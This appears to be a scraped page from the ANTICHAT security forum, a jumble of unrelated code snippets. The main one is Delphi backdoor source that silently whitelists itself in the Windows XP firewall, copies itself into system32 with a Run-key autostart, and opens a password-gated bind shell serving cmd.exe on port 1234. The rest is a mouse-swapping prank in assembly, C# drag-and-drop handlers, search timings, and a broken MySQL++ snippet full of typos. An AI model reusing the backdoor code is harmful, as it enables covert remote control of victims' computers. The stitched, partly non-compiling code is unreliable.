ANTICHAT — форум по информационной безопасности, OSINT и технологиям

::GetPrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPCTSTR Default,  LPTSTR ReturnedString, DWORD strSize, LPCTSTR FileName);

::WritePrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPTSTR String, LPCTSTR FileName);

procedure fuck_xpfw;
var
 key:longword;
 ValueName:array[0..255] of char;
 Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';

begin
 if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
 GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
 Value:=ValueName+':*:Enabled:RPC';
 RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
 RegCloseKey(key);
end;

function windir:string; // возвращает путь к папке windows
var
a:array[0..144] of char;
begin
 GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
result:=a;
end;

procedure install(name,about:string);
var
 key:longword;
 s:string;
begin
  s:=windir+'\system32\'+name;
 CopyFile(pchar(paramstr(0)),pchar(s),false);
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
 RegCloseKey(Key);
end;

function isRun:boolean;
begin
 CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
 if GetLastError=183 then result:=true else result:=false;
end;

procedure RunShell;
const
 PORT=1234;
LOGIN='login';
var
StartupInfo:_STARTUPINFOA;
addr,caddr:tsockaddrin;
ProcessInformation:_PROCESS_INFORMATION;
addrlen:integer;
cl:LongWord;
l:integer;
s:string;
c:char;
begin
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(PORT);
 bind(sock,@addr, sizeof(addr))=0;
listen(sock,$7FFFFFFF);
addrlen:=sizeof(caddr);
while 1=1 do
 begin
  cl:=accept(sock,caddr,addrlen);
  if cl=INVALID_SOCKET then continue;
  s:='';
  repeat
   l:=recv(cl,c,1,0);
   s:=s+c;
   if length(s)>16 then l:=-1;
  until (l<=0) or (s=LOGIN);
  if l<=0 then
   begin
    closesocket(cl);
    continue;
   end;
  fillchar(StartupInfo,sizeof(StartupInfo),0);
  StartupInfo.cb:=sizeof(StartupInfo);
  StartupInfo.dwFlags:=$100;
  StartupInfo.hStdInput:=cl;
  StartupInfo.hStdOutput:=cl;
  StartupInfo.hStdError:=cl;
  CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
closesocket(sock);
end;

     private void Form1_MouseDown(object sender, MouseEventArgs e) 
        {
            if (PointList.Count > 1)
            {
                for (int i = 0; i < PointList.Count; i++) //перебираем точки
                {
                    if (e.X <= PointList[i].x + 20 && e.X >= PointList[i].x - 20 && e.Y <= PointList[i].y + 20 && e.Y >= PointList[i].y - 20) //проверка,не  нажали ли на точку
                    {
                        DDPoint = i; 
                        DragDropFlag = true; //если да,то ставим i-ую точку как точку которую мы двигаем и возводим флаг
                        label1.Text = "Sex,drugs, drag and drop!"; //фетиш
                    }
                    if (DragDropFlag == true) break;
                }
            }
        }       }

  private void Form1_MouseMove(object sender, MouseEventArgs e)
        {
            
            if (DragDropFlag == true) //если поднят флаг
            {
                PointList[DDPoint].x = e.X;
                PointList[DDPoint].y = e.Y; //меняем x,y нужной точки
                label1.Text = "Drugs,sex drag and drop!";
                Refresh(); //перерисовываем
            }
            else  label1.Text = "Координаты: " + e.X + ";" + e.Y;
            
        }

  private void Form1_MouseUp(object sender, MouseEventArgs e)
        {
            DragDropFlag = false;
        }

  private void Form1_Paint(object sender, PaintEventArgs e)
        {
            DoubleBuffered = true;
     ......

.386 
.model flat,stdcall 
option casemap:none 
include C:\masm32\INCLUDE\WINDOWS.INC 
include C:\masm32\INCLUDE\KERNEL32.INC 
include C:\masm32\INCLUDE\USER32.INC 
include C:\masm32\INCLUDE\ADVAPI32.INC 
includelib C:\masm32\lib\comctl32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\gdi32.lib 
includelib C:\masm32\lib\kernel32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\advapi32.lib

HINST DWORD 0

strHack db "I hacked you mouse!",0

start: 
invoke SwapMouseButton,1 
invoke MessageBox, 0 , addr strHack, addr strHack , 0 
exit: 
invoke ExitProcess , 0

@ echo ----OBJ---- 
@ c:\masm32\bin\ml.exe /coff /c .\ISHODNIC\mouse.asm

@ echo ----EXE---- 
@ if EXIST pirat.obj c:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS .\mouse.obj

.386 
.model flat,stdcall 
option casemap:nonе 
include C:\masm32\INCLUDE\WINDOWS.INC 
include C:\masm32\INCLUDE\KERNEL32.INC 
include C:\masm32\INCLUDE\USER32.INC 
include C:\masm32\INCLUDE\ADVAPI32.INC 
includelib C:\masm32\lib\comctl32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\gdi32.lib 
includelib C:\masm32\lib\kernel32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\advapi32.lib 
.data 
HINST DWORD 0 
strHack db "I hacked you mouse!",0 
.code 
start: 
invoke SwapMouseButton,0 
invoke MessageBox, 0 , addr strHack, addr strHack , 0 
exit: 
invoke ExitProcess , 0 
end start

Searching for : public
Search using Standard Processing
Total files : 23210
found in files : 6689
Search Duration : 00:01:17.6940000

Search using Parallel Processing
Total files : 6708
found in files : 6059
Search Duration : 00:00:02.3510000

#include <iostream>
#include <mysql++.h>
using namespace std;
using namespace mysqlpp;

int main()
{
const char db[]=”db_name”;//Навзание БД
const char user[]=”username”;//Логин Юзвера
const char password[]=”password”;//Пароль юзера
const char host[]=”localhost”;//Хост
const int pot=”3306”;//Порт

mysqlpp::Connection con(false);//Создадим объект con для соединения с сервером
con.connection(db,host,user,password,port);
if(conection)
{cout”You are connected”;}
else{cout<<"Error";

 mysqlpp::Query query = con.query();
query<<”Select*From table_name”;
mysqlpp::Result res = query.store();//Получаем р-ты

   if (res) {
                char buf[256];
                mysqlpp::Row row;
                mysqlpp::Row::size_type i;
                for (i = 0; row = res.at(i); i++) {
                        cout << '\t' << utf8trans(row.at(0), buf, sizeof(buf));
                }
        }
        else {
                cerr << "Failed to get item list: " << query.error() ;
                return 1;
        }

        return 0;